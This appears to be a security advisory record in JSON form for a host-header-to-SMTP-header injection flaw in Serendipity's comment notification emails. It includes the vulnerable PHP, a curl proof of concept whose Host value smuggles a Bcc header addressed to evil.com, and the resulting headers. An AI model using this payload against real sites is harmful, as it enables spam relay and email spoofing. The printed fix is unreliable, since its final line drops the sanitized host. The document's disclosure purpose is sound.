CVE-2026-39971: S9y/serendipity Serendipity Has A Host Header Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-458g-q4fh-mj6r",
  "modified" : "2026-04-27T15:02:16Z",
  "published" : "2026-04-14T22:32:38Z",
  "aliases" : [ "CVE-2026-39971" ],
  "summary" : "Serendipity has a Host Header Injection allows SMTP header injection via unvalidated HTTP_HOST in Message-ID email header",
  "details" : "### Summary\nSerendipity inserts `$_SERVER['HTTP_HOST']` directly into the `Message-ID` SMTP header without any validation beyond CRLF stripping. An attacker who can control the `Host` header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.\n\n### Details\nIn `include/functions.inc.php:548`:\n```php\n$maildata['headers'][] = 'Message-ID: <' \n    . bin2hex(random_bytes(16)) \n    . '@' . $_SERVER['HTTP_HOST']  // ← unsanitized, attacker-controlled\n    . '>';\n```\n\nThe existing sanitization function only blocks `\\r\\n` and URL-encoded variants:\n```php\nfunction serendipity_isResponseClean($d) {\n    return (strpos($d, \"\\r\") === false && strpos($d, \"\\n\") === false \n        && stripos($d, \"%0A\") === false && stripos($d, \"%0D\") === false);\n}\n```\n\nCritically, `serendipity_isResponseClean()` is **not even called** on `HTTP_HOST` before embedding it into the mail headers — making this exploitable with any character that SMTP interprets as a header delimiter.\n\nEmail is triggered by actions such as:\n- New comment notifications to blog owner\n- Comment subscription notifications to subscribers\n- Password reset emails (if configured)\n\n### PoC\n```bash\n# Trigger comment notification email with injected header\ncurl -s -X POST \\\n  -H \"Host: attacker.com>\\r\\nBcc: victim@evil.com\\r\\nX-Injected:\" \\\n  -d \"serendipity[comment]=test&serendipity[name]=hacker&serendipity[email]=a@b.com&serendipity[entry_id]=1\" \\\n  http://[TARGET]/comment.php\n```\nResulting malicious `Message-ID` header in outgoing email:\n```\nMessage-ID: <deadbeef@attacker.com>\nBcc: victim@evil.com\nX-Injected: >\n```\n\n### Impact\nAn attacker can control the domain portion of the `Message-ID` header in all outgoing emails sent by Serendipity (comment notifications, subscriptions). \nThis enables:\n- **Identity spoofing** — emails appear to originate from attacker-controlled domain\n- **Reply hijacking** — some mail clients use Message-ID for threading, pointing replies toward attacker infrastructure\n- **Email reputation abuse** — attacker's domain embedded in legitimate mail headers\n### Suggested Fix\nSanitize `HTTP_HOST` before embedding in mail headers, and restrict to valid hostname characters only:\n```php\n$safe_host = preg_replace('/[^a-zA-Z0-9.\\-]/', '', \n    parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST)\n);\n$maildata['headers'][] = 'Message-ID: ';\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "s9y/serendipity"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.6.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/s9y/Serendipity/security/advisories/GHSA-458g-q4fh-mj6r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39971"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/s9y/Serendipity"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/s9y/Serendipity/releases/tag/2.6.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-113" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-14T22:32:38Z",
    "nvd_published_at" : "2026-04-15T04:17:39Z"
  }
}